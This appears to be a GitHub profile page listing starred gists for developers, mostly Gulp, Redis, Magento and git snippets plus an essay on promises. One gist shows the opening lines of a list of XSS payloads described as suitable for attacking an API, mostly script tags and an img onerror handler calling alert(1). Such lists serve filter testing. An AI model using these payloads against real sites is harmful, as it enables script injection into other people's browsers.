Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View colinodell's full-sized avatar

Colin O'Dell colinodell

View GitHub Profile
@laracasts
laracasts / Gulpfile.js
Created August 20, 2014 20:47
PHPSpec auto-testing Gulpfile
var gulp = require('gulp');
var phpspec = require('gulp-phpspec');
var run = require('gulp-run');
var notify = require('gulp-notify');
gulp.task('test', function() {
gulp.src('spec/**/*.php')
.pipe(run('clear'))
.pipe(phpspec('', { notify: true }))
.on('error', notify.onError({
@ianunruh
ianunruh / install-redis.sh
Last active July 13, 2018 14:35
Install single instance of Redis on Ubuntu 14.04
#!/bin/bash
if [ "$#" -ne "2" ]; then
echo "Usage: ./install-redis-instance.sh NAME PORT"
exit 1
fi
if [ ! -x /usr/local/bin/redis-server ]; then
apt-get install -y build-essential
curl -O -L http://download.redis.io/releases/redis-2.8.9.tar.gz
@robatron
robatron / generalized-tree-search.md
Last active September 6, 2018 12:50
Generalized tree search (DFS, BFS)

Generalized Tree Search

A generalized depth and breadth-first tree search algorithm

Here's a neat little algorithm that can perform a depth-first search (DFS) or breadth-first search (BFS) by simply changing the collection data type:

search( Node root ) {
    Collection c = new Collection()
 c.push( root )
@philwinkle
philwinkle / ce-1.6.2.0\app\code\core\Mage\Usa\Model\Shipping\Carrier\Fedex.php
Last active October 7, 2016 00:38
Git diff of Fedex SOAP API endpoint change - CE 1.6, 1.7, 1.8 and EE 1.11, 1.12, 1.13
diff --git a/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php b/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
index d567b6e..9a98440 100644
--- a/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
+++ b/app/code/core/Mage/Usa/Model/Shipping/Carrier/Fedex.php
@@ -119,8 +119,8 @@ class Mage_Usa_Model_Shipping_Carrier_Fedex
{
$client = new SoapClient($wsdl, array('trace' => $trace));
$client->__setLocation($this->getConfigFlag('sandbox_mode')
- ? 'https://wsbeta.fedex.com:443/web-services/rate'
- : 'https://ws.fedex.com:443/web-services/rate'

Make it real

Ideas are cheap. Make a prototype, sketch a CLI session, draw a wireframe. Discuss around concrete examples, not hand-waving abstractions. Don't say you did something, provide a URL that proves it.

Ship it

Nothing is real until it's being used by a real user. This doesn't mean you make a prototype in the morning and blog about it in the evening. It means you find one person you believe your product will help and try to get them to use it.

Do it with style

@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@bkeepers
bkeepers / .gitconfig
Created February 19, 2013 14:12
Git aliases to make new commits that fixup or are squashed into previous commits
[alias]
fixup = !sh -c 'REV=$(git rev-parse $1) && git commit --fixup $@ && git rebase -i --autosquash $REV^' -
squash = !sh -c 'REV=$(git rev-parse $1) && git commit --squash $@ && git rebase -i --autosquash $REV^' -
@domenic
domenic / promises.md
Last active March 31, 2024 14:07
You're Missing the Point of Promises

This article has been given a more permanent home on my blog. Also, since it was first written, the development of the Promises/A+ specification has made the original emphasis on Promises/A seem somewhat outdated.

You're Missing the Point of Promises

Promises are a software abstraction that makes working with asynchronous operations much more pleasant. In the most basic definition, your code will move from continuation-passing style:

getTweetsFor("domenic", function (err, results) {
 // the rest of your code goes here.
@colinodell
colinodell / .gitignore
Last active March 13, 2017 07:42
Standard Magento .gitignore
# Don't include any temporary files and other unimportant things
*.log
*.bak
*.bak.*
*.thumbs/
.DS_Store
Thumbs.db
.svn
*.swp
@piscisaureus
piscisaureus / pr.md
Created August 13, 2012 16:12
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this: